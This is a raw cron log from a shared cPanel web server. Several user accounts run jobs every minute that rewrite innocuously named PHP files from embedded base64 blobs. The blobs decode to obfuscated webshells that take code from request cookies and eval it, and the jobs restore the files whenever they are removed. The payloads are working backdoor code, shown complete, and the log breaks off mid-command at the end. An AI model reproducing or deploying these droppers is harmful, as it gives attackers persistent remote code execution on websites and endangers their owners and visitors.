Apr 19 08:35:01 medusa CROND[1121]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 08:35:01 medusa CROND[1152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:35:01 medusa CROND[1101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:35:01 medusa CROND[1123]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:35:01 medusa CROND[1125]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:35:01 medusa CROND[1189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:35:01 medusa CROND[1102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:35:01 medusa CROND[1097]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 19 08:35:01 medusa CROND[1226]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:35:01 medusa CROND[1238]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:35:01 medusa CROND[1190]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:35:01 medusa CROND[1169]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:35:01 medusa CROND[1134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1100]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1112]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:36:01 medusa CROND[26018]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:36:02 medusa CROND[26061]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:36:02 medusa CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:36:02 medusa CROND[26063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:36:02 medusa CROND[26064]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:36:02 medusa CROND[26065]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:36:02 medusa CROND[26066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:36:02 medusa CROND[26069]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:36:02 medusa CROND[26071]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:36:02 medusa CROND[26075]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:36:02 medusa CROND[26078]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:36:02 medusa CROND[26080]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:36:02 medusa CROND[26081]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:36:02 medusa CROND[26082]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:37:02 medusa CROND[18284]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:37:02 medusa CROND[18307]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:37:02 medusa CROND[18308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:37:02 medusa CROND[18309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:37:02 medusa CROND[18311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:37:02 medusa CROND[18312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:37:02 medusa CROND[18313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:37:02 medusa CROND[18314]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:37:02 medusa CROND[18316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:37:02 medusa CROND[18319]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:37:02 medusa CROND[18320]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:37:02 medusa CROND[18318]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 